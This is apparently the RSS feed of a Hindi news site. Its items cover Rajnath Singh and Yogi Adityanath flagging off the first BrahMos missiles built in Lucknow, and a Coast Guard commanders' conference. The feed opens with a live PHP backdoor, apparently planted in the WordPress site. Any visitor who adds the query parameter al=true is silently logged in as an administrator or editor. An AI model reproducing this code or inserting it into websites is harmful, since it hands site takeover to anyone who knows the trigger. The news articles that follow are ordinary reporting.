// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Defense Minister Rajnath Singh – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 18 Oct 2025 12:00:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अब पाकिस्तान की एक-एक इंच जमीन ब्रह्मोस की पहुंच मेंः राजनाथ सिंह https://pratyushaashakinayikiran.com/?p=186391 Sat, 18 Oct 2025 12:00:00 +0000 https://pratyushaashakinayikiran.com/?p=186391 रक्षा मंत्री की घोषणा, आगामी वित्तीय वर्ष में 3,000 करोड़ टर्नओवर और 500 करोड़ जीएसटी राजस्व देगी यूनिट

राजनाथ सिंह ने सीएम योगी को सराहा, बोले- गुंडाराज से डिफेंस हब तक योगी सरकार में निवेशकों का बढ़ा भरोसा

रक्षा मंत्री बोले- भारत की वैश्विक पहचान में हुआ इजाफा, अब ‘टेकर’ नहीं, ‘गिवर’की भूमिका में

लखनऊ,

उत्तर प्रदेश की राजधानी लखनऊ शनिवार को एक ऐतिहासिक क्षण की साक्षी बनी, जब रक्षा मंत्री राजनाथ सिंह और मुख्यमंत्री योगी आदित्यनाथ ने ब्रह्मोस एयरोस्पेस की स्थानीय इकाई से निर्मित सुपरसोनिक ब्रह्मोस मिसाइलों के प्रथम बैच को हरी झंडी दिखाई। इस अवसर पर रक्षा मंत्री राजनाथ सिंह ने कहा कि धनतेरस के शुभ अवसर पर चार मिसाइलों की डिलीवरी के साथ भारत की रक्षा क्षमता और आत्मनिर्भरता को नई ऊंचाइयों पर पहुंचाने वाला यह कदम न केवल सैन्य सफलता का, बल्कि आर्थिक समृद्धि और रोजगार सृजन का भी प्रतीक है। उन्होंने ब्रह्मोस को 'भारत की बढ़ती स्वदेशी ताकत का प्रतीक' बताते हुए पाकिस्तान को चेतावनी दी कि अब उसकी एक-एक इंच जमीन ब्रह्मोस की पहुंच में है।

लोकार्पण से डिलीवरी तक पांच महीनों की तेज रफ्तार
रक्षा मंत्री राजनाथ सिंह ने कहा कि यह मेरे लिए अत्यंत गौरव और हर्ष का विषय है कि आज लखनऊ में ब्रह्मोस की स्टेट-ऑफ-द-आर्ट बूस्टर बिल्डिंग का लोकार्पण हो रहा है। अभी थोड़ी ही देर पहले इसी प्रांगण में रुद्राक्ष के पौधे का रोपण करने का भी मुझे सौभाग्य प्राप्त हुआ। रुद्राक्ष को तो हम रूद्र, यानी भगवान महादेव का अंश मानते हैं। मेरी महादेव से यही प्रार्थना है कि उनका आशीर्वाद इस अत्याधुनिक सुविधा पर और हम सभी देशवासियों पर सदा बना रहे। उन्होंने लखनऊ की जनता को बधाई देते हुए कहा कि लखनऊ मेरे लिए केवल संसदीय क्षेत्र नहीं, बल्कि मेरी आत्मा में बसने वाला शहर है। राज्य और राजधानी के तीव्र विकास को देखकर जो संतोष और गर्व की अनुभूति होती है, वह आज इस रक्षा क्षेत्र से जुड़ी उपलब्धि के कारण और भी गहरी हो गई है।

पांच महीनों की तेज रफ्तार
राजनाथ सिंह ने कहा कि 11 मई 2025 को इस आधुनिक सुविधा का उद्घाटन हुआ था और मात्र पांच महीनों में ब्रह्मोस मिसाइल की पहली खेप तैयार होकर डिलीवर हो रही है। मुझे यह कहते हुए गर्व हो रहा है कि जिस गति और दक्षता से यह कार्य पूरा हुआ है, वह केवल रिकॉर्ड ही नहीं, बल्कि लखनऊ और उत्तर प्रदेश की विश्वसनीयता का भी प्रमाण है। आज ब्रह्मोस की विश्वसनीयता के साथ-साथ लखनऊ की पहचान भी और अधिक मजबूत हुई है। उन्होंने मुख्यमंत्री योगी आदित्यनाथ का आभार जताते हुए कहा कि उत्तर प्रदेश के मुख्यमंत्री योगी आदित्यनाथ जी ने इस परियोजना के लिए हर संभव सहयोग और समर्थन दिया।

पीक टाइम में सैकड़ों रोजगार देगी यूनिट
उन्होंने कहा कि यह सुविधा करीब 200 एकड़ में फैली हुई है और लगभग 380 करोड़ रुपए की लागत से तैयार की गई है। पीक टाइम पर सैकड़ों लोगों को प्रत्यक्ष रोजगार मिलेगा, जबकि अनुमान है कि यहां से प्रतिवर्ष लगभग 100 मिसाइल सिस्टम थलसेना, वायुसेना और नौसेना को उपलब्ध कराए जाएंगे। अगले वित्तीय वर्ष में इस इकाई का टर्नओवर 3,000 करोड़ रुपए तक पहुंच जाएगा, जो 500 करोड़ रुपए का जीएसटी राजस्व उत्पन्न करेगा।

ब्रह्मोस स्वदेशी शक्ति का प्रतीक
रक्षा मंत्री ने ब्रह्मोस की क्षमताओं पर प्रकाश डालते हुए कहा कि ब्रह्मोस सिर्फ एक मिसाइल नहीं, बल्कि भारत की बढ़ती स्वदेशी ताकत का प्रतीक है। यह परंपरागत वॉरहेड, उन्नत गाइडेड सिस्टम और सुपरसोनिक गति के साथ लंबी दूरी तक सटीक प्रहार करने में सक्षम है। गति, सटीकता और शक्ति का यह अनूठा संयोजन ब्रह्मोस को विश्व की सर्वश्रेष्ठ मिसाइल प्रणालियों में शुमार करता है। हमारे लिए यह गर्व की बात है कि ब्रह्मोस आज भारतीय थलसेना, नौसेना और वायुसेना—तीनों की रीढ़ बन चुका है।

ऑपरेशन सिंदूर ने ब्रह्मोस के प्रति पैदा किया विश्वास
उन्होंने ऑपरेशन सिंदूर का जिक्र करते हुए कहा कि आज का अवसर केवल एक लॉन्चिंग इवेंट नहीं, बल्कि आने वाली पीढ़ियों को यह संदेश देने वाला क्षण है कि भारत अपने सपनों को हकीकत में बदलने की ताकत रखता है। ऑपरेशन सिंदूर में ब्रह्मोस ने न केवल अपनी तकनीकी श्रेष्ठता साबित की, बल्कि यह भी दिखाया कि यह भारत की सुरक्षा का सबसे बड़ा व्यावहारिक प्रमाण है। इस ऑपरेशन ने सिद्ध किया कि जीत अब हमारे लिए कोई घटना नहीं, बल्कि हमारी आदत बन चुकी है। ऑपरेशन सिंदूर में ब्रह्मोस का जो प्रैक्टिकल प्रदर्शन हुआ है, उसने न केवल देशवासियों बल्कि पूरी दुनिया में ब्रह्मोस के प्रति एक गहरा विश्वास और आत्मविश्वास पैदा किया है।

ट्रेलर था ऑपरेशन सिंदूर, पिक्चर अभी बाकी है
संबोधन का सबसे कड़ा हिस्सा पाकिस्तान को संबोधित करते हुए आया, जहां रक्षा मंत्री ने कहा कि पाकिस्तान की एक-एक इंच जमीन ब्रह्मोस की पहुंच में है। ऑपरेशन सिंदूर इसका ट्रेलर था, जिसने पाकिस्तान को अहसास दिला दिया कि अगर भारत पाकिस्तान को जन्म दे सकता है तो समय आने पर वह…इसके आगे मुझे बोलने की जरूरत नहीं…आप सब समझदार हैं। उन्होंने कहा कि इस सफलता ने ब्रह्मोस को वैश्विक स्तर पर साबित कर दिया। देश को यह विश्वास हो गया है कि हमारे विरोधी अब ब्रह्मोस की मारक क्षमता से नहीं बच सकते। हमें संकल्प लेना होगा कि इस आदत को न केवल बनाए रखना है, बल्कि इसे और मजबूत करना है।"

गुंडाराज से डिफेंस हब तक बदला उत्तर प्रदेश
रक्षा मंत्री ने उत्तर प्रदेश के बदलते स्वरूप पर जोर देते हुए कहा कि मैं यहां सिर्फ रक्षा सेक्टर की ही बात नहीं कर रहा। मैं उस बड़े परिवर्तन की भी बात करना चाहता हूं जो उत्तर प्रदेश में हो रहा है। हम सब जानते हैं कि कभी उत्तर प्रदेश की पहचान गुंडाराज और बिगड़े हुए लॉ एंड ऑर्डर से की जाती थी। लोग डर के माहौल में रहते थे और निवेशक यहां आने से कतराते थे। पर आज, मुख्यमंत्री योगी आदित्यनाथ के नेतृत्व में यह स्थिति बदल चुकी है। उनके दृढ़ नेतृत्व और नीतिगत निर्णयों ने प्रदेश में विश्वास लौटाया है।

लखनऊ सिर्फ तहजीब नहीं, अब तकनीक का भी शहर
उन्होंने लखनऊ को तहजीब का शहर बताते हुए कहा कि लखनऊ अब केवल तहजीब का शहर नहीं रहा, बल्कि टेक्नोलॉजी और इंडस्ट्रीज का केंद्र बन चुका है। रक्षा निर्माण के क्षेत्र में लखनऊ अब देश के मानचित्र पर एक प्रमुख हब के रूप में स्थापित हो गया है। यहां से उठाया गया हर कदम भारत की सुरक्षा और आत्मनिर्भरता की दिशा में एक प्रभावशाली कदम है।

छोटे उद्योगों को भी करना होगा सपोर्ट
राजनाथ सिंह ने स्थानीय उद्योगों को मजबूत करने की आवश्यकता पर बल दिया। उन्होंने करहा कि यह आवश्यक है कि बड़ी फैसिलिटीज़ के साथ-साथ स्थानीय और छोटे-स्तरीय उद्योगों को भी विकसित किया जाए। उत्तर प्रदेश डिफेंस कॉरिडोर तब ही पूरी तरह सफल होगा, जब बड़ी कंपनियों के साथ-साथ छोटी और मध्यम उद्योग इकाइयां भी इसमें जुड़ेंगी।

धनतेरस पर 'धन' की बौछार
धनतेरस के संयोग पर रक्षा मंत्री ने हास्य का पुट देते हुए कहा कि एक दिलचस्प संयोग यह भी है कि आज हम सब धनतेरस का पर्व मना रहे हैं और इसी शुभ दिन पर चार ब्रह्मोस मिसाइलों की डिलीवरी भी हो रही है। सोचिए, इससे बड़ा धनतेरस देश के लिए और क्या हो सकता है! एक तरह से हम कह सकते हैं कि आज लक्ष्मी जी की कृपा न केवल सुरक्षा क्षेत्र पर, बल्कि अर्थव्यवस्था पर भी समान रूप से बरस रही है। उन्होंने इसके आर्थिक प्रभाव पर कहा कि इसका सीधा अर्थ यह है कि हर एक मिसाइल न केवल हमारी सीमाओं की रक्षा करती है, बल्कि देश की अर्थव्यवस्था को भी सशक्त बनाती है। सरल शब्दों में कहें तो एक मिसाइल के प्रोडक्शन से मिलने वाले टैक्स से सरकार कई स्कूल बना सकती है, कई अस्पताल स्थापित कर सकती है और ऐसी योजनाएं चला सकती है जो सीधे आम नागरिक के जीवन को बेहतर बनाती हैं। यानी, ब्रह्मोस सिर्फ एक हथियार नहीं है, यह हमारे बच्चों के लिए शिक्षा का साधन, हमारे परिवारों के लिए स्वास्थ्य सुरक्षा का आधार और पूरे समाज के लिए नए अवसरों के द्वार खोलने वाला माध्यम है।

वैश्विक पटल पर भारत अब टेकर से गिवर की भूमिका में पहुंचा
रक्षा मंत्री ने ब्रह्मोस के निर्यात पर कहा कि आप सब जानते हैं कि फिलीपींस के साथ भारत ने ब्रह्मोस एक्सपोर्ट का अनुबंध किया है। यह केवल शुरुआत है। आने वाले समय में और भी देश भारत के साथ सहयोग करेंगे। भारत अब सिर्फ टेकर (Taker) नहीं, बल्कि गिवर (Giver) की भूमिका निभा रहा है। उन्होंने बताया कि पिछले एक माह में ब्रह्मोस टीम ने दो देशों के साथ लगभग 4,000 करोड़ रुपए के अनुबंधों पर हस्ताक्षर किए हैं। उन्होंने कहा कि 2014 में जिस यात्रा की शुरुआत हुई थी, आज वही यात्रा 2047 के विकसित भारत के लक्ष्य की ओर अग्रसर है।

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ब्रह्मोस सिर्फ भारत नहीं बल्कि दुनिया में अपने मित्र देशों की रक्षा करने का सबसे सक्षम हथियार : योगी आदित्यनाथ https://pratyushaashakinayikiran.com/?p=186399 Sat, 18 Oct 2025 11:40:00 +0000 https://pratyushaashakinayikiran.com/?p=186399 – एयरफ्रेम और एवियोनिक्स, वारहेड भवन में पीडीआई तथा ब्रह्मोस सिम्युलेटर उपकरणों का प्रेजेंटेशन भी दिखाया गया

– रक्षा मंत्री राजनाथ सिंह और मुख्यमंत्री योगी आदित्यनाथ ने परिसर में ही रुद्राक्ष के पौधे का वृक्षारोपण भी किया

– स्टोरेज ट्रॉली प्रदर्शन और मोबाइल ऑटोनमस लॉन्चर का भी हुआ प्रदर्शन

– डीजी (ब्रह्मोस) ने मुख्यमंत्री योगी आदित्यनाथ को जीएसटी का 40 करोड़ रुपये का बिल का सौंपा

लखनऊ,

राजधानी लखनऊ में शनिवार को आत्मनिर्भर भारत का एक नया अध्याय लिखा गया, जब ब्रह्मोस एयरोस्पेस लिमिटेड की लखनऊ इकाई में उत्पादित सुपरसोनिक ब्रह्मोस मिसाइलों के पहले बैच का फ्लैग ऑफ केंद्रीय रक्षा मंत्री राजनाथ सिंह और मुख्यमंत्री योगी आदित्यनाथ ने किया। भारत माता की जय’ के जयघोष के बीच जब मिसाइलों का पहला जत्था रवाना हुआ तो समारोह गर्व, गौरव और देशभक्ति से गूंज उठा। कार्यक्रम को संबोधित करते हुए मुख्यमंत्री योगी आदित्यना ने कहा कि ब्रह्मोस केवल भारत की नहीं, बल्कि पूरी दुनिया में अपने मित्र देशों की रक्षा करने का सबसे सक्षम हथियार है। उन्होंने कहा कि रक्षा मंत्री राजनाथ सिंह के प्रयास से ब्रह्मोस लखनऊ में विकसित हुआ है, जो देश की खुशहाली का माध्यम बना है। जब व्यक्ति सुरक्षित रहता है, तभी चैन की नींद सोता है। लखनऊ में बनी मिसाइल पूरे देशवासियों की सुरक्षा और समृद्धि की गारंटी है।

कार्यक्रम को संबोधित करते हुए मुख्यमंत्री योगी आदित्यनाथ ने कहा कि लखनऊ में प्रधानमंत्री नरेंद्र मोदी के 'मेक इन इंडिया' संकल्प को साकार करने का यह क्षण प्रफुल्लित करने वाला है। उन्होंने कहा कि यह मिसाइल न केवल भारत की सुरक्षा सुनिश्चित करती है, बल्कि दुनिया में अपने मित्र देशों की रक्षा करने का सबसे सक्षम हथियार भी है। ब्रह्मोस के माध्यम से भारत अपनी आवश्यकताओं की पूर्ति के साथ-साथ मित्र राष्ट्रों की सुरक्षा जरूरतों को भी पूरा करने में सक्षम हो गया है। इसके लिए मैं प्रधानमंत्री नरेंद्र मोदी और रक्षा मंत्री राजनाथ सिंह का हृदय से आभार व्यक्त करता हूं।

सीएम योगी ने 2018 के पहले इन्वेस्टर्स समिट का जिक्र करते हुए कहा कि लखनऊ में ही प्रधानमंत्री ने दो डिफेंस मैन्युफैक्चरिंग कॉरिडोर की घोषणा की थी, जिसमें से एक उत्तर प्रदेश को मिला। उत्तर प्रदेश के लखनऊ, कानपुर, आगरा, अलीगढ़, झांसी और चित्रकूट के 6 नोड्स में डिफेंस मैन्युफैक्चरिंग कॉरिडोर के कार्य सफलतापूर्वक आगे बढ़ रहे हैं। लखनऊ में ब्रह्मोस, झांसी में भारत डायनामिक्स लिमिटेड (बीडीएल) और अमेठी में एके-203 जैसे प्रोजेक्ट चल रहे हैं। अब तक 2,500 एकड़ से अधिक लैंड इन 6 नोड्स में उपलब्ध कराई गई है, जिससे 15,000 से अधिक नौजवानों को नौकरियां मिली हैं।

देश की सुरक्षा और रोजगार दोनों की पूर्ति कर रहा है उत्तर प्रदेश- सीएम
उन्होंने कहा कि ब्रह्मोस केंद्र में आईटीआई, पॉलिटेक्निक और इंजीनियरिंग डिग्रीधारक युवा काम कर रहे हैं, जो देश की सुरक्षा और रोजगार दोनों की पूर्ति कर रहे हैं। यह आत्मनिर्भर भारत की आधारशिला है। सीएम योगी ने बताया कि राज्य सरकार आईआईटी कानपुर और आईआईटी बीएचयू के साथ मिलकर दो ‘सेंटर ऑफ एक्सीलेंस’ स्थापित कर रही है, जिससे डिफेंस टेक्नोलॉजी और इनोवेशन को बढ़ावा मिलेगा। उन्होंने कहा कि यह लखनऊ की भूमि अब राष्ट्र रक्षा, उद्योग, रोजगार और विकास के चारों आयामों को एक साथ साध रही है। यही उत्तर प्रदेश के बदलते चेहरे और आत्मनिर्भर भारत की पहचान है।”

लखनऊ की लैंड अब सोना उगल रही है- मुख्यमंत्री
सीएम योगी ने कहा कि आज डीजी ब्रह्मोस ने 40 करोड़ का जीएसटी चेक सौंपा है। हर वर्ष 100 ब्रह्मोस मिसाइल बनेंगी, जो बढ़कर 150 तक पहुंचेंगी, तो 150-200 करोड़ जीएसटी मिलेगा। यह 'आम के आम और गुठली के दाम' जैसा है। लखनऊ की लैंड अब सोना उगल रही है। यह देश की सुरक्षा की पूर्ति कर रही है और प्रदेश की अर्थव्यवस्था को मजबूत बना रही है। उन्होंने आवश्यकता पड़ने पर डीआरडीओ को और लैंड उपलब्ध कराने का आश्वासन भी दिया।

आईआईटी कानपुर और बीएचयू के साथ दो सेंटर ऑफ एक्सीलेंस पर काम प्रगति पर है- सीएम
सीएम योगी ने झांसी में 56,000 एकड़ के नए इंडस्ट्रियल कॉरिडोर का जिक्र किया और कहा कि चित्रकूट में एक्सप्रेस-वे पर नोड विकसित हो रहा है। आईआईटी कानपुर और बीएचयू के साथ दो सेंटर ऑफ एक्सीलेंस पर काम चल रहा है। उन्होंने मेक इन इंडिया को मेक फॉर द वर्ल्ड बनाने का संकल्प दोहराया। उन्होंने कहा कि रक्षा मंत्री राजनाथ सिंह के प्रयास से ब्रह्मोस लखनऊ में विकसित हुआ है, जो देश की खुशहाली को वितरित करने का माध्यम बना है। जब व्यक्ति सुरक्षित रहता है, तभी चैन की नींद सोता है। लखनऊ में बनी मिसाइल पूरे देशवासियों की सुरक्षा और समृद्धि की गारंटी है।

फ्लैग ऑफ सेरेमनी के साथ विभिन्न कार्यक्रमों का हुआ आयोजन
कार्यक्रम के दौरान रक्षा मंत्री और मुख्यमंत्री ने बूस्टर भवन का उद्घाटन भी किया, जो ब्रह्मोस प्रोजेक्ट की क्षमता विस्तार की दिशा में महत्वपूर्ण कदम है। साथ ही दोनों ने बूस्टर डॉकिंग प्रक्रिया का प्रदर्शन भी देखा। इसी क्रम में एयरफ्रेम और एवियोनिक्स, वारहेड भवन में पीडीआई (प्री डिस्पैच इंस्पेक्शन) तथा ब्रह्मोस सिम्युलेटर उपकरणों का प्रेजेंटेशन भी दिखाया गया। इसके अलावा रक्षा मंत्री राजनाथ सिंह और मुख्यमंत्री योगी आदित्यनाथ ने परिसर में ही रुद्राक्ष के पौधे का वृक्षारोपण भी किया। इस दौरान स्टोरेज ट्रॉली प्रदर्शन और मोबाइल ऑटोनमस लॉन्चर का प्रदर्शन भी हुआ। कार्यक्रम के दौरान डीजी (ब्रह्मोस) डॉ. जयतीर्थ आर. जोशी ने मुख्यमंत्री योगी आदित्यनाथ को एक चेक और जीएसटी बिल सौंपा।

इस अवसर पर उपमुख्यमंत्री ब्रजेश पाठक, राज्यसभा सांसद बृजलाल, डॉ. दिनेश शर्मा, संजय सेठ, कैबिनेट मंत्री नंद गोपाल नंदी, महापौर सुषमा खर्कवाल, विधायक राजेश्वर सिंह समेत कई जनप्रतिनिधि व रक्षा अनुसंधान एवं विकास संगठन के अधिकारीगण मौजूद रहे।

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कमांडरों के सम्मेलन में बोले राजनाथ सिंह, कहा- भविष्य में समुद्री खतरे बढ़ेंगे, हमें तैयार रहने की जरूरत https://pratyushaashakinayikiran.com/?p=74786 Tue, 24 Sep 2024 22:10:00 +0000 https://pratyushaashakinayikiran.com/?p=74786 नई दिल्ली
वर्तमान भूराजनीतिक स्थिति को देखते हुए भविष्य में समुद्री खतरे बढ़ेंगे। हमें सतर्क और तैयार रहने की जरूरत है। मंगलवार को यह बात रक्षा मंत्री राजनाथ सिंह ने कही। वह दिल्ली में आयोजित भारतीय तटरक्षक (आईसीजी) कमांडरों के सम्मेलन में बोल रहे थे। उन्होंने कहा कि दुनिया तकनीकी क्रांति के दौर से गुजर रही है। आर्टिफिशियल इंटेलिजेंस, क्वांटम टेक्नोलॉजी और ड्रोन के इस युग में सुरक्षा के क्षेत्र में अहम बदलाव देखने को मिल रहे हैं। समुद्री सुरक्षा की जटिलताओं की पृष्ठभूमि में तटरक्षक कमांडरों का सम्मेलन रणनीतिक, परिचालन और प्रशासनिक मामलों पर चर्चा का एक महत्वपूर्ण मंच है।

यहां तटरक्षक मुख्यालय में वरिष्ठ कमांडरों को संबोधित करते हुए, रक्षा मंत्री ने आईसीजी को भारत का अग्रणी रक्षक बताया, जो निरंतर निगरानी के माध्यम से देश की विशाल तटरेखा की सुरक्षा सुनिश्चित करता है, और आतंकवाद और हथियारों की तस्करी जैसी अवैध गतिविधियों की रोकथाम करता है। तटरक्षक दल जिस बहादुरी और समर्पण के साथ संकट के समय में देश की सेवा करता है, उसकी सराहना करते हुए उन्होंने उन बहादुरों को श्रद्धांजलि अर्पित की, जिन्होंने पोरबंदर के पास हाल ही में एक ऑपरेशन में अपनी जान गंवा दी। राजनाथ सिंह ने देश को आंतरिक आपदाओं से बचाने में भी आईसीजी के योगदान को अद्वितीय बताया। उन्होंने चक्रवात मिचौंग के बाद चेन्नई में तेल रिसाव के दौरान तटरक्षक दल की त्वरित प्रतिक्रिया की सराहना की। यहां तटरक्षक बल की सक्रियता से तटीय पारिस्थितिकी तंत्र को एक बड़ी क्षति होने से बचा लिया गया।

रक्षा मंत्री ने आईसीजी को सबसे मजबूत तट रक्षकों में से एक बनाने के अपने दृष्टिकोण को साझा किया। उन्होंने आज के अप्रत्याशित समय में उभरते खतरों से निपटने के लिए प्रौद्योगिकी-उन्मुख बल बनने की आवश्यकता पर जोर दिया। उन्होंने समुद्री सीमाओं पर अत्याधुनिक तकनीक के महत्व को रेखांकित करते हुए कहा कि यह देश की सुरक्षा प्रणाली को मजबूत करने के लिए फोर्स मल्टीप्लायर के रूप में कार्य करती है।

राजनाथ सिंह ने कहा, "जनशक्ति का महत्व हमेशा रहेगा, लेकिन दुनिया को हमें प्रौद्योगिकी-उन्मुख तटरक्षक बल के रूप में जानना चाहिए।” रक्षा मंत्री ने नवीनतम प्रौद्योगिकी को शामिल करने के लाभों पर जोर दिया, उन्होंने कमांडरों को इसके नकारात्मक पक्ष से सावधान रहने के लिए प्रोत्साहित किया। उन्होंने प्रौद्योगिकी को दोधारी तलवार करार दिया और आईसीजी से संभावित चुनौतियों से निपटने के लिए सक्रिय, सतर्क और तैयार रहने का आह्वान किया। राजनाथ सिंह ने सशस्त्र बलों और आईसीजी को स्वदेशी प्लेटफार्मों और उपकरणों के साथ आधुनिक बनाने और मजबूत करने के लिए प्रधानमंत्री नरेंद्र मोदी के नेतृत्व वाली सरकार की प्रतिबद्धता दोहराई।

'आत्मनिर्भरता' हासिल करने के लिए किए जा रहे प्रयासों पर उन्होंने कहा कि आईसीजी के लिए 4,000 करोड़ रुपये से अधिक मूल्य के 31 जहाज भारतीय शिपयार्ड द्वारा बनाए जा रहे हैं। उन्होंने आईसीजी की क्षमताओं को बढ़ाने के लिए रक्षा अधिग्रहण परिषद द्वारा दी गई मंजूरी पर भी प्रकाश डाला, जिसमें मल्टी-मिशन समुद्री विमान, सॉफ्टवेयर डिफाइंड रेडियो, इंटरसेप्टर नौकाएं, डोर्नियर विमान और अगली पीढ़ी के फास्ट पेट्रोल जहाजों की खरीद शामिल है। रक्षा मंत्री ने आईसीजी से खुद में सुधार जारी रखने, एक विशिष्ट पहचान बनाने, अपने क्षेत्र में विशेषज्ञता हासिल करने और नए जोश के साथ आगे बढ़ने का आग्रह किया।

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